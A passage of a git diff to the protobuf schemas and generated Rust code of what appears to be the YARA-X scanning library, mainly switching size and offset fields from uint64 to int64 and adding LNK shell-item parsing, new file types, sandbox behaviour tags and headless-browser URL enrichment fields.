\xcd\x01\n\x06domain\x18\x03\x20\x01(\x0b2\x16.vt.net.EnrichedDomainR\ - \x06domainB\x9c\x01\x82\x93\x19\x97\x01\x1a\x94\x01\nLvt.net.domain\x20i\ - s\x20supported\x20only\x20in\x20rulesets\x20matching\x20against\x20URLs\ - \x20or\x20domains\x121this\x20field\x20is\x20supported\x20for\x20URLs\ - \x20and\x20domains\x20only\x1a\x03url\x1a\x06domain\x1a\x04fileb\x06prot\ - o3\ + lue:\x028\x01\x1a=\n\x0fCategoriesEntry\x12\x10\n\x03key\x18\x01\x20\x01\ + (\tR\x03key\x12\x14\n\x05value\x18\x02\x20\x01(\tR\x05value:\x028\x01\"\ + \x91\x01\n\x0bPermutation\x12\x0f\n\x03ALL\x10\0\x1a\x06\x9a\x93\x19\x02\ + \x08\x1f\x12\x10\n\x04TYPO\x10\x01\x1a\x06\x9a\x93\x19\x02\x08\x01\x12\ + \x15\n\tHOMOGLYPH\x10\x02\x1a\x06\x9a\x93\x19\x02\x08\x02\x12\x17\n\x0bH\ + YPHENATION\x10\x03\x1a\x06\x9a\x93\x19\x02\x08\x04\x12\x15\n\tSUBDOMAIN\ + \x10\x04\x1a\x06\x9a\x93\x19\x02\x08\x08\x12\x18\n\x0cBITSQUATTING\x10\ + \x05\x1a\x06\x9a\x93\x19\x02\x08\x10:\x0c\x8a\x93\x19\x08\n\x06Domain\"\ + \xd8\x04\n\x0eEnrichedNetloc\x12\x9f\x01\n\x03url\x18\x01\x20\x01(\x0b2\ + \x13.vt.net.EnrichedURLR\x03urlBx\x82\x93\x19t\x1ar\n>vt.net.url\x20is\ + \x20supported\x20only\x20in\x20rulesets\x20matching\x20against\x20URLs\ + \x12%this\x20field\x20is\x20supported\x20for\x20URLs\x20only\x1a\x03url\ + \x1a\x04file\x12\xd3\x01\n\x02ip\x18\x02\x20\x01(\x0b2\x12.vt.net.Enrich\ + edIPR\x02ipB\xae\x01\x82\x93\x19\xa9\x01\x1a\xa6\x01\nMvt.net.ip\x20is\ + \x20supported\x20only\x20in\x20rulesets\x20matching\x20against\x20URLs,\ + \x20domains\x20or\x20IPs\x126this\x20field\x20is\x20supported\x20for\x20\ + URLs,\x20domains\x20and\x20IPs\x20only\x1a\x03url\x1a\x06domain\x1a\nip_\ + address\x1a\x04file\x12\xcd\x01\n\x06domain\x18\x03\x20\x01(\x0b2\x16.vt\ + .net.EnrichedDomainR\x06domainB\x9c\x01\x82\x93\x19\x97\x01\x1a\x94\x01\ + \nLvt.net.domain\x20is\x20supported\x20only\x20in\x20rulesets\x20matchin\ + g\x20against\x20URLs\x20or\x20domains\x121this\x20field\x20is\x20support\ + ed\x20for\x20URLs\x20and\x20domains\x20only\x1a\x03url\x1a\x06domain\x1a\ + \x04fileb\x06proto3\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -4144,14 +5811,15 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); file_descriptor.get(|| { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { - let mut deps = ::std::vec::Vec::with_capacity(6); + let mut deps = ::std::vec::Vec::with_capacity(7); deps.push(super::analysis::file_descriptor().clone()); deps.push(super::filetypes::file_descriptor().clone()); deps.push(super::hunting_gti_score::file_descriptor().clone()); deps.push(super::sandbox::file_descriptor().clone()); deps.push(super::submitter::file_descriptor().clone()); + deps.push(super::urlheadless::file_descriptor().clone()); deps.push(super::yara::file_descriptor().clone()); - let mut messages = ::std::vec::Vec::with_capacity(14); + let mut messages = ::std::vec::Vec::with_capacity(20); messages.push(Subject::generated_message_descriptor_data()); messages.push(Validity::generated_message_descriptor_data()); messages.push(SSLCertificate::generated_message_descriptor_data()); @@ -4162,10 +5830,16 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { messages.push(FileMetadata::generated_message_descriptor_data()); messages.push(ResourceFileMetadata::generated_message_descriptor_data()); messages.push(PopularityRank::generated_message_descriptor_data()); + messages.push(URLResource::generated_message_descriptor_data()); + messages.push(ExtendedCookie::generated_message_descriptor_data()); + messages.push(ConsoleMessage::generated_message_descriptor_data()); + messages.push(WebTechnology::generated_message_descriptor_data()); messages.push(EnrichedURL::generated_message_descriptor_data()); + messages.push(EnrichedPortInfo::generated_message_descriptor_data()); messages.push(EnrichedIP::generated_message_descriptor_data()); messages.push(EnrichedDomain::generated_message_descriptor_data()); messages.push(EnrichedNetloc::generated_message_descriptor_data()); + messages.push(enriched_port_info::PortService::generated_message_descriptor_data()); let mut enums = ::std::vec::Vec::with_capacity(1); enums.push(enriched_domain::Permutation::generated_enum_descriptor_data()); ::protobuf::reflect::GeneratedFileDescriptor::new_generated( diff --git a/lib/src/modules/protos/generated/zip.rs b/lib/src/modules/protos/generated/zip.rs index ec22e0e0c..aee6dad4c 100644 --- a/lib/src/modules/protos/generated/zip.rs +++ b/lib/src/modules/protos/generated/zip.rs @@ -33,9 +33,9 @@ pub struct Entry { // @@protoc_insertion_point(field:zip.Entry.compression) pub compression: ::std::option::Option<::protobuf::EnumOrUnknown>, // @@protoc_insertion_point(field:zip.Entry.uncompressed_size) - pub uncompressed_size: ::std::option::Option, + pub uncompressed_size: ::std::option::Option, // @@protoc_insertion_point(field:zip.Entry.compressed_size) - pub compressed_size: ::std::option::Option, + pub compressed_size: ::std::option::Option, // special fields // @@protoc_insertion_point(special_field:zip.Entry.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -110,9 +110,9 @@ impl Entry { self.compression = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); } - // optional uint64 uncompressed_size = 3; + // optional int64 uncompressed_size = 3; - pub fn uncompressed_size(&self) -> u64 { + pub fn uncompressed_size(&self) -> i64 { self.uncompressed_size.unwrap_or(0) } @@ -125,13 +125,13 @@ impl Entry { } // Param is passed by value, moved - pub fn set_uncompressed_size(&mut self, v: u64) { + pub fn set_uncompressed_size(&mut self, v: i64) { self.uncompressed_size = ::std::option::Option::Some(v); } - // optional uint64 compressed_size = 4; + // optional int64 compressed_size = 4; - pub fn compressed_size(&self) -> u64 { + pub fn compressed_size(&self) -> i64 { self.compressed_size.unwrap_or(0) } @@ -144,7 +144,7 @@ impl Entry { } // Param is passed by value, moved - pub fn set_compressed_size(&mut self, v: u64) { + pub fn set_compressed_size(&mut self, v: i64) { self.compressed_size = ::std::option::Option::Some(v); } @@ -196,10 +196,10 @@ impl ::protobuf::Message for Entry { self.compression = ::std::option::Option::Some(is.read_enum_or_unknown()?); }, 24 => { - self.uncompressed_size = ::std::option::Option::Some(is.read_uint64()?); + self.uncompressed_size = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.compressed_size = ::std::option::Option::Some(is.read_uint64()?); + self.compressed_size = ::std::option::Option::Some(is.read_int64()?); }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; @@ -220,10 +220,10 @@ impl ::protobuf::Message for Entry { my_size += ::protobuf::rt::int32_size(2, v.value()); } if let Some(v) = self.uncompressed_size { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.compressed_size { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); @@ -238,10 +238,10 @@ impl ::protobuf::Message for Entry { os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; } if let Some(v) = self.uncompressed_size { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.compressed_size { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -603,8 +603,8 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \n\tzip.proto\x12\x03zip\x1a\nyara.proto\"\xae\x01\n\x05Entry\x12\x1b\n\ \tfile_path\x18\x01\x20\x01(\tR\x08filePath\x122\n\x0bcompression\x18\ \x02\x20\x01(\x0e2\x10.zip.CompressionR\x0bcompression\x12+\n\x11uncompr\ - essed_size\x18\x03\x20\x01(\x04R\x10uncompressedSize\x12'\n\x0fcompresse\ - d_size\x18\x04\x20\x01(\x04R\x0ecompressedSize\"B\n\x03Zip\x12\x15\n\x06\ + essed_size\x18\x03\x20\x01(\x03R\x10uncompressedSize\x12'\n\x0fcompresse\ + d_size\x18\x04\x20\x01(\x03R\x0ecompressedSize\"B\n\x03Zip\x12\x15\n\x06\ is_zip\x18\x01\x20\x01(\x08R\x05isZip\x12$\n\x07entries\x18\x02\x20\x03(\ \x0b2\n.zip.EntryR\x07entries*\xdf\x01\n\x0bCompression\x12\n\n\x06STORE\ D\x10\0\x12\n\n\x06SHRUNK\x10\x01\x12\r\n\tREDUCED_1\x10\x02\x12\r\n\tRE\ diff --git a/lib/src/modules/protos/lnk.proto b/lib/src/modules/protos/lnk.proto index ff025570f..f4f7e2f6e 100644 --- a/lib/src/modules/protos/lnk.proto +++ b/lib/src/modules/protos/lnk.proto @@ -44,6 +44,29 @@ enum DriveType { RAMDISK = 0x00000006; } +// Category of a shell item, derived from its class type indicator byte. +// +// The values are the class type indicators defined in the reverse-engineered +// "Windows Shell Item format" documentation by Joachim Metz (libfwsi) and used +// by the LnkParse3 implementation. For the volume, file entry and network +// location items the class type indicator is a range (0x20-0x2F, 0x30-0x3F and +// 0x40-0x4F respectively); the value here is the base of the range (0x20, 0x30 +// and 0x40) obtained by masking the class type indicator with 0x70. +enum ShellItemType { + CONTROL_PANEL_CPL = 0x00; + CONTROL_PANEL_CATEGORY = 0x01; + ROOT_FOLDER = 0x1F; + VOLUME = 0x20; + FILE_ENTRY = 0x30; + NETWORK_LOCATION = 0x40; + COMPRESSED_FOLDER = 0x52; + URI = 0x61; + CONTROL_PANEL = 0x71; + PRINTERS = 0x72; + COMMON_PLACES_FOLDER = 0x73; + USERS_FILES_FOLDER = 0x74; +} + message Lnk { // True if the file is a LNK file. required bool is_lnk = 1; @@ -53,13 +76,13 @@ message Lnk { optional string name = 2; // Time when the LNK file was created. - optional uint64 creation_time = 3; + optional int64 creation_time = 3; // Time when the LNK file was last accessed. - optional uint64 access_time = 4; + optional int64 access_time = 4; // Time when the LNK files was last modified. - optional uint64 write_time = 5; + optional int64 write_time = 5; // Size of the target file in bytes. The target file is the file that this // link references to. If the link target file is larger than 0xFFFFFFFF, @@ -108,13 +131,66 @@ message Lnk { optional string cmd_line_args = 18; // Size in bytes of any extra data appended to the LNK file. - optional uint64 overlay_size = 19; + optional int64 overlay_size = 19; // Offset within the LNK file where the overlay starts. - optional uint64 overlay_offset = 20; + optional int64 overlay_offset = 20; // Distributed link tracker information. optional TrackerData tracker_data = 21; + + // Shell items parsed from the link target ID list (LINKTARGET_IDLIST). This + // list describes the target of the shortcut as a chain of shell items (root + // folder, volume, file entry, control panel item, etc.). + repeated ShellItem target_id_list = 22; +} + +// A single item within the link target ID list (an ItemID / shell item). +// +// The container (LinkTargetIDList / ItemID) is defined by Microsoft in +// [MS-SHLLINK], but the internal layout of each shell item is not specified by +// Microsoft. The type-specific fields below therefore follow the +// reverse-engineered "Windows Shell Item format" documentation by Joachim Metz +// (libfwsi). Which fields are populated depends on the shell item type (see +// `item_type`); the raw `data` field is always populated. +// +// The fields are ordered by the `item_type` (range) they are extracted from. +message ShellItem { + // Type (category) of the shell item, derived from the class type indicator + // byte. Always set for every shell item: when the class type indicator + // maps to a known category, the corresponding enum variant is used; + // otherwise, the raw class type indicator byte is stored as an unknown value. + optional ShellItemType item_type = 1 [(yara.field_options).fmt = "x"]; + + // The raw class type specific data of the shell item: all the bytes that + // follow the class type indicator byte. Always populated, which allows rules + // to match on shell items whose type is not decoded into a dedicated field + // below. + optional bytes data = 3; + + // Path to the control panel CPL file. Populated for control panel CPL file + // shell items (item_type CONTROL_PANEL_CPL). + optional string cpl_file_path = 4; + + // Shell folder identifier (a GUID). Populated for root folder shell items + // (item_type ROOT_FOLDER). + optional string root_folder_id = 5; + + // Volume name. Populated for volume shell items (item_type VOLUME) that + // carry a name. + optional string volume_name = 6; + + // Volume identifier (a GUID). Populated for volume shell items + // (item_type VOLUME) that carry an identifier instead of a name. + optional string volume_id = 7; + + // File or directory name. Populated for file entry shell items + // (item_type FILE_ENTRY). + optional string file_entry_name = 8; + + // Network location (usually a UNC path). Populated for network location + // shell items (item_type NETWORK_LOCATION). + optional string network_location = 9; } // This structure contains data that can be used to resolve a link target if it diff --git a/lib/src/modules/protos/macho.proto b/lib/src/modules/protos/macho.proto index 556885d5c..ed56fc377 100644 --- a/lib/src/modules/protos/macho.proto +++ b/lib/src/modules/protos/macho.proto @@ -98,7 +98,7 @@ message Nlist { // Description attributes of the symbol. optional uint32 n_desc = 4; // Value or address of the symbol. - optional uint64 n_value = 5; + optional int64 n_value = 5; } message Symtab { @@ -161,9 +161,9 @@ message Section { // Individual section designation string. optional bytes sectname = 2; // Address where the section is mapped in virtual memory. - optional uint64 addr = 3 [(yara.field_options).fmt = "x"]; + optional int64 addr = 3 [(yara.field_options).fmt = "x"]; // Total virtual memory size occupied by the section. - optional uint64 size = 4 [(yara.field_options).fmt = "x"]; + optional int64 size = 4 [(yara.field_options).fmt = "x"]; // File offset pointing to the section data. optional uint32 offset = 5; // Memory alignment constraint of the section. @@ -186,13 +186,13 @@ message Segment { // Text identifier of the segment. optional bytes segname = 3; // Virtual memory address where the segment is mapped. - optional uint64 vmaddr = 4 [(yara.field_options).fmt = "x"]; + optional int64 vmaddr = 4 [(yara.field_options).fmt = "x"]; // Total size of the mapped segment in virtual memory. - optional uint64 vmsize = 5 [(yara.field_options).fmt = "x"]; + optional int64 vmsize = 5 [(yara.field_options).fmt = "x"]; // File offset pointing to the segment contents on disk. - optional uint64 fileoff = 6; + optional int64 fileoff = 6; // Total physical length of the segment inside the file. - optional uint64 filesize = 7; + optional int64 filesize = 7; // Maximum virtual memory protection state applicable. optional uint32 maxprot = 8 [(yara.field_options).fmt = "x"]; // Initial virtual memory protection applied at load time. @@ -211,9 +211,9 @@ message FatArch { // Sub-architecture designation. optional uint32 cpusubtype = 2 [(yara.field_options).fmt = "x"]; // File offset referencing the start of the embedded binary. - optional uint64 offset = 3; + optional int64 offset = 3; // Size in bytes of the embedded binary payload. - optional uint64 size = 4; + optional int64 size = 4; // Required byte alignment of the binary payload. optional uint32 align = 5; // Reserved internal field. @@ -239,7 +239,7 @@ message File { optional uint32 reserved = 8; // Number of segments parsed from the binary. - optional uint64 number_of_segments = 9 [(yara.field_options).deprecation_notice = { + optional int64 number_of_segments = 9 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `segments.len()` instead", replacement: "segments.len()" @@ -248,9 +248,9 @@ message File { // Standard path of the dynamic linker. optional bytes dynamic_linker = 10; // Execution entry point offset or address. - optional uint64 entry_point = 11; + optional int64 entry_point = 11; // Size of the stack allocated by the loader. - optional uint64 stack_size = 12; + optional int64 stack_size = 12; // Source version metadata string. optional string source_version = 13; // Segments nested inside the binary. @@ -304,7 +304,7 @@ message Macho { optional uint32 reserved = 8; // Number of segments parsed. - optional uint64 number_of_segments = 9 [(yara.field_options).deprecation_notice = { + optional int64 number_of_segments = 9 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `macho.segments.len()` instead", replacement: "segments.len()" @@ -313,9 +313,9 @@ message Macho { // Standard dynamic linker specification path. optional bytes dynamic_linker = 10; // Execution entry point address. - optional uint64 entry_point = 11; + optional int64 entry_point = 11; // Stack size allocation requested. - optional uint64 stack_size = 12; + optional int64 stack_size = 12; // Build source version metadata string. optional string source_version = 13; // Standard symbol table block. diff --git a/lib/src/modules/protos/mods.proto b/lib/src/modules/protos/mods.proto index 12105901d..a42bd039d 100644 --- a/lib/src/modules/protos/mods.proto +++ b/lib/src/modules/protos/mods.proto @@ -11,6 +11,7 @@ import "macho.proto"; import "olecf.proto"; import "vba.proto"; import "msi.proto"; +import "zip.proto"; package mods; @@ -26,4 +27,5 @@ message Modules { optional crx.Crx crx = 8; optional dex.Dex dex = 9; optional msi.Msi msi = 10; + optional zip.Zip zip = 11; } diff --git a/lib/src/modules/protos/olecf.proto b/lib/src/modules/protos/olecf.proto index 812c777db..13b181c91 100644 --- a/lib/src/modules/protos/olecf.proto +++ b/lib/src/modules/protos/olecf.proto @@ -28,5 +28,5 @@ enum StreamType { message Stream { required string name = 1; required StreamType type = 2; - required uint64 size = 3; + required int64 size = 3; } \ No newline at end of file diff --git a/lib/src/modules/protos/pe.proto b/lib/src/modules/protos/pe.proto index b5717dc0a..f2c073ffe 100644 --- a/lib/src/modules/protos/pe.proto +++ b/lib/src/modules/protos/pe.proto @@ -34,7 +34,7 @@ message PE { // Creation timestamp of the image, stored as a Unix epoch time. optional uint32 timestamp = 11 [(yara.field_options).fmt = "t"]; // Preferred load address of the image when placed in memory. - optional uint64 image_base = 12 [(yara.field_options).fmt = "x"]; + optional int64 image_base = 12 [(yara.field_options).fmt = "x"]; // Checksum of the image file. optional uint32 checksum = 13; // Relative virtual address (RVA) of the beginning of the code section. @@ -74,13 +74,13 @@ message PE { optional uint32 size_of_headers = 28 [(yara.field_options).fmt = "x"]; // Total amount of virtual memory reserved for the stack. - optional uint64 size_of_stack_reserve = 29 [(yara.field_options).fmt = "x"]; + optional int64 size_of_stack_reserve = 29 [(yara.field_options).fmt = "x"]; // Initial amount of physical memory committed for the stack. - optional uint64 size_of_stack_commit = 30 [(yara.field_options).fmt = "x"]; + optional int64 size_of_stack_commit = 30 [(yara.field_options).fmt = "x"]; // Total amount of virtual memory reserved for the default heap. - optional uint64 size_of_heap_reserve = 31 [(yara.field_options).fmt = "x"]; + optional int64 size_of_heap_reserve = 31 [(yara.field_options).fmt = "x"]; // Initial amount of physical memory committed for the default heap. - optional uint64 size_of_heap_commit = 32 [(yara.field_options).fmt = "x"]; + optional int64 size_of_heap_commit = 32 [(yara.field_options).fmt = "x"]; // File offset pointing to the COFF symbol table. optional uint32 pointer_to_symbol_table = 33 [(yara.field_options).fmt = "x"]; @@ -99,28 +99,28 @@ message PE { }]; // Number of imported functions across all imported libraries. - optional uint64 number_of_imported_functions = 38; + optional int64 number_of_imported_functions = 38; // Number of delayed imported functions across all delayed libraries. - optional uint64 number_of_delayed_imported_functions = 39; + optional int64 number_of_delayed_imported_functions = 39; // Number of resources contained within the file. - optional uint64 number_of_resources = 40 [(yara.field_options).deprecation_notice = { + optional int64 number_of_resources = 40 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `pe.resources.len()` instead", replacement: "resources.len()" }]; // Number of string-value pairs within the version info resource. - optional uint64 number_of_version_infos = 41; + optional int64 number_of_version_infos = 41; // Number of imported libraries. - optional uint64 number_of_imports = 42; + optional int64 number_of_imports = 42; // Number of delayed imported libraries. - optional uint64 number_of_delayed_imports = 43; + optional int64 number_of_delayed_imports = 43; // Number of exported symbols. - optional uint64 number_of_exports = 44; + optional int64 number_of_exports = 44; // Number of digital signatures found in the file. - optional uint64 number_of_signatures = 45 [(yara.field_options).deprecation_notice = { + optional int64 number_of_signatures = 45 [(yara.field_options).deprecation_notice = { text: "this field is deprecated", help: "use `pe.signatures.len()` instead", replacement: "signatures.len()" @@ -140,7 +140,7 @@ message PE { repeated DirEntry data_directories = 51; // Unix epoch timestamp of the resource directory. - optional uint64 resource_timestamp = 52 [(yara.field_options).fmt = "t"]; + optional int64 resource_timestamp = 52 [(yara.field_options).fmt = "t"]; // Version structure for the resource directory. optional Version resource_version = 53; // Individual resources defined within the binary. @@ -206,7 +206,7 @@ message Import { // Target library filename (e.g., "kernel32.dll"). required string library_name = 1; // Total count of functions imported from this library. - required uint64 number_of_functions = 2; + required int64 number_of_functions = 2; // Individual functions imported from the library. repeated Function functions = 3; } @@ -262,9 +262,9 @@ message Signature { // Digest computed directly from the binary payload. optional string file_digest = 13; // Number of certificates embedded in the signature chain. - optional uint64 number_of_certificates = 14; + optional int64 number_of_certificates = 14; // Number of countersignatures associated with this signature. - optional uint64 number_of_countersignatures = 15; + optional int64 number_of_countersignatures = 15; // Details regarding the primary signer entity. optional SignerInfo signer_info = 16; // Certificates making up the signing chain. @@ -412,9 +412,9 @@ message RichTool { message Overlay { // File offset marking the start of the appended overlay content. - required uint64 offset = 1 [(yara.field_options).fmt = "x"]; + required int64 offset = 1 [(yara.field_options).fmt = "x"]; // Total size in bytes of the overlay data. - required uint64 size = 2 [(yara.field_options).fmt = "x"]; + required int64 size = 2 [(yara.field_options).fmt = "x"]; } enum Machine { diff --git a/lib/src/modules/protos/vt/filetypes.proto b/lib/src/modules/protos/vt/filetypes.proto index d132b014b..52a11a18c 100644 --- a/lib/src/modules/protos/vt/filetypes.proto +++ b/lib/src/modules/protos/vt/filetypes.proto @@ -118,6 +118,7 @@ enum FileType { PYTHON_WHL = 320; PYTHON_PKG = 321; MSIX = 322; + SKILL = 323; TEXT = 400; SCRIPT = 401; PHP = 402; @@ -168,6 +169,7 @@ enum FileType { CSV = 610; HTA = 611; INTERNET_SHORTCUT = 612; + CSS = 613; CAP = 700; ISOIMAGE = 800; SQUASHFS = 801; @@ -189,4 +191,5 @@ enum FileType { PEM = 1300; PGP = 1301; CRT = 1302; + SHELLCODE = 1400; } diff --git a/lib/src/modules/protos/vt/sandbox.proto b/lib/src/modules/protos/vt/sandbox.proto index ced793ebe..62e8a5c5a 100644 --- a/lib/src/modules/protos/vt/sandbox.proto +++ b/lib/src/modules/protos/vt/sandbox.proto @@ -5,6 +5,7 @@ syntax = "proto3"; package vt.fileanalysis; +import "google/protobuf/timestamp.proto"; import "vt/filetypes.proto"; import "vt/sigma.proto"; import "vt/tools/net_analysis.proto"; @@ -80,6 +81,15 @@ enum BehaviourTag { LISTENS = 63; SETS_PROCESS_NAME = 64; QR_CODE = 65; + BROWSER_CREDS = 66; + CRYPTO_WALLETS = 67; + OS_CREDENTIALS = 68; + WEB_EXFIL = 69; + UNSIGNED_EXEC = 70; + STRIP_QUARANTINE = 71; + DISABLES_SECURITY = 72; + CHECKS_VM = 73; + ENCRYPTS_FILES = 74; } enum VerdictTag { @@ -118,6 +128,7 @@ message BehaviourSummary { repeated FileCopy files_copied = 4; repeated string files_attribute_changed = 5; repeated DroppedFile files_dropped = 6; + repeated ExtractedPayload payloads_extracted = 84; string hosts_file = 7; repeated ProcessItem processes_list = 75; repeated string processes_created = 9; @@ -207,6 +218,15 @@ message DroppedFile { string process_id = 7; } +message ExtractedPayload { + string sha256 = 1; + vt.fileanalysis.FileType type = 2; + uint64 size = 3; + string payload_type = 4; + string process_name = 5; + google.protobuf.Timestamp timestamp = 6; +} + message PermissionCheck { string permission = 1; string owner = 2; @@ -349,6 +369,8 @@ message ProcessItem { string process_id = 1; string parent_process_id = 2; string name = 3; + string parent_name = 10; + repeated string ancestor_names = 11; uint64 start_time = 4; uint64 termination_time = 5; repeated string files_opened = 6; diff --git a/lib/src/modules/protos/vt/urlheadless.proto b/lib/src/modules/protos/vt/urlheadless.proto new file mode 100644 index 000000000..94fa39fdb --- /dev/null +++ b/lib/src/modules/protos/vt/urlheadless.proto @@ -0,0 +1,84 @@ +// THIS FILE IS GENERATED AUTOMATICALLY. DO NOT EDIT. +// LINT: LEGACY_NAMES + +syntax = "proto3"; + +package vt.urlheadless; + +import "vt/filetypes.proto"; + +enum BrowserResourceType { + BROWSER_RESOURCE_TYPE_OTHER = 0; + BROWSER_RESOURCE_TYPE_DOCUMENT = 1; + BROWSER_RESOURCE_TYPE_SCRIPT = 2; + BROWSER_RESOURCE_TYPE_FETCH = 3; + BROWSER_RESOURCE_TYPE_STYLESHEET = 4; + BROWSER_RESOURCE_TYPE_IMAGE = 5; + BROWSER_RESOURCE_TYPE_FONT = 6; + BROWSER_RESOURCE_TYPE_MEDIA = 7; + BROWSER_RESOURCE_TYPE_XHR = 8; + BROWSER_RESOURCE_TYPE_PING = 9; + BROWSER_RESOURCE_TYPE_MAIN_FRAME = 10; + BROWSER_RESOURCE_TYPE_SUB_FRAME = 11; + BROWSER_RESOURCE_TYPE_WEBSOCKET = 12; + BROWSER_RESOURCE_TYPE_OBJECT = 13; + BROWSER_RESOURCE_TYPE_CSP_REPORT = 14; +} + +enum NetError { + NET_ERROR_UNSPECIFIED = 0; + NET_ERROR_NAME_NOT_RESOLVED = 1; + NET_ERROR_ADDRESS_UNREACHABLE = 2; + NET_ERROR_CONNECTION_REFUSED = 3; + NET_ERROR_SSL_VERSION_OR_CIPHER_MISMATCH = 4; + NET_ERROR_CONNECTION_RESET = 5; + NET_ERROR_INVALID_RESPONSE = 6; + NET_ERROR_EMPTY_RESPONSE = 7; + NET_ERROR_CONNECTION_CLOSED = 8; + NET_ERROR_CONNECTION_TIMED_OUT = 9; + NET_ERROR_INVALID_HTTP_RESPONSE = 10; + NET_ERROR_HTTP = 11; + NET_ERROR_INVALID_REDIRECT = 12; + NET_ERROR_SSL_KEY_USAGE_INCOMPATIBLE = 13; + NET_ERROR_SSL_PROTOCOL_ERROR = 14; + NET_ERROR_SSL_UNRECOGNIZED_NAME_ALERT = 15; + NET_ERROR_TIMED_OUT = 16; + NET_ERROR_TOO_MANY_ACCEPT_CH_RESTARTS = 17; + NET_ERROR_TOO_MANY_REDIRECTS = 18; + NET_ERROR_UNEXPECTED_PROXY_AUTH = 19; + NET_ERROR_UNSAFE_PORT = 20; +} + +message Cookie { + enum CookiePriority { + COOKIE_PRIORITY_UNDEFINED = 0; + COOKIE_PRIORITY_HIGH = 1; + COOKIE_PRIORITY_MEDIUM = 2; + COOKIE_PRIORITY_LOW = 3; + } + + string name = 1; + string value = 2; + string domain = 3; + int32 expires = 4; + int32 size = 5; + bool http_only = 6; + bool secure = 7; + bool session = 8; + vt.urlheadless.Cookie.CookiePriority priority = 9; +} + +message ConsoleMessage { + enum LogLevel { + LOG_LEVEL_UNDEFINED = 0; + LOG_LEVEL_DEBUG = 1; + LOG_LEVEL_WARNING = 2; + LOG_LEVEL_ERROR = 3; + LOG_LEVEL_INFO = 4; + LOG_LEVEL_LOG = 5; + } + + string content = 1; + string source_file = 2; + vt.urlheadless.ConsoleMessage.LogLevel level = 3; +} diff --git a/lib/src/modules/protos/vt/vtnet.proto b/lib/src/modules/protos/vt/vtnet.proto index 47fd38569..4b3da42b8 100644 --- a/lib/src/modules/protos/vt/vtnet.proto +++ b/lib/src/modules/protos/vt/vtnet.proto @@ -10,6 +10,7 @@ import "vt/filetypes.proto"; import "vt/hunting_gti_score.proto"; import "vt/sandbox.proto"; import "vt/submitter.proto"; +import "vt/urlheadless.proto"; import "yara.proto"; message Subject { @@ -19,6 +20,9 @@ message Subject { string organizational_unit = 4; string locality = 5; string state = 6; + repeated string alternative_names = 7; + string street_address = 8; + string postal_code = 9; } message Validity { @@ -34,6 +38,10 @@ message SSLCertificate { string signature = 5; string serial_number = 6; Subject issuer = 7; + string host = 8; + string version = 9; + string algorithm = 10; + string signature_algorithm = 11; } message Tracker { @@ -92,6 +100,44 @@ message PopularityRank { string rank = 3; } +message URLResource { + string url = 1; + vt.fileanalysis.HttpConversation.RequestMethod method = 2; + string sha256 = 3 [(yara.field_options) = { lowercase: true }]; + int32 response_code = 4; + string remote_ip = 5 [(yara.field_options) = { name: "serving_ip_address" }]; + int32 size = 6 [(yara.field_options) = { name: "content_length" }]; + string reverse_dns = 7; + vt.fileanalysis.FileType type = 8; + vt.urlheadless.BrowserResourceType browser_type = 9; + map response_headers = 10; + vt.urlheadless.NetError net_error = 11; + repeated string redirects = 12; +} + +message ExtendedCookie { + string name = 1; + string value = 2; + string domain = 3; + int64 expires = 4; + bool secure = 5; + bool http_only = 6; + bool session = 7; + int32 size = 8; + vt.urlheadless.Cookie.CookiePriority priority = 9; +} + +message ConsoleMessage { + string content = 1; + string source_file = 2; + vt.urlheadless.ConsoleMessage.LogLevel level = 3; +} + +message WebTechnology { + string name = 1; + string version = 2; +} + message EnrichedURL { option (yara.message_options) = { name: "URL" @@ -131,6 +177,31 @@ message EnrichedURL { accept_if: [ "gti", "staff" ] } ] }]; + repeated URLResource resources = 40; + repeated ExtendedCookie cookies_extended = 45; + map javascript_variables = 46; + repeated ConsoleMessage console_messages = 47; + repeated WebTechnology web_technologies = 48; + string filename = 49; + repeated SSLCertificate tls = 50; + string dom_sha256 = 51; +} + +message EnrichedPortInfo { + message PortService { + string product = 1; + string version = 2; + string cpe = 3; + } + + int32 port = 1; + string protocol = 2 [(yara.field_options) = { lowercase: true }]; + string port_banner = 3; + repeated vt.net.EnrichedPortInfo.PortService port_service = 4; + string fingerprint = 5; + string os_type = 6; + string device_type = 7; + string port_status = 8 [(yara.field_options) = { lowercase: true }]; } message EnrichedIP { @@ -175,6 +246,20 @@ message EnrichedIP { accept_if: [ "gti", "staff" ] } ] }]; + repeated EnrichedPortInfo ports = 31 [(yara.field_options) = { + acl: [ + { + error_title: "unknown field or method `ports`" + error_label: "this field or method doesn't exist" + accept_if: [ "staff" ] + }, + { + error_title: "vt.net.ip.ports is supported in rulesets matching against IPs" + error_label: "this field is supported for IPs only" + accept_if: [ "ip_address" ] + } + ] + }]; } message EnrichedDomain { diff --git a/lib/src/modules/protos/zip.proto b/lib/src/modules/protos/zip.proto index aba1ae766..185c7331a 100644 --- a/lib/src/modules/protos/zip.proto +++ b/lib/src/modules/protos/zip.proto @@ -31,8 +31,8 @@ enum Compression { message Entry { optional string file_path = 1; optional Compression compression = 2; - optional uint64 uncompressed_size = 3; - optional uint64 compressed_size = 4; + optional int64 uncompressed_size = 3; + optional int64 compressed_size = 4; } message Zip { diff --git 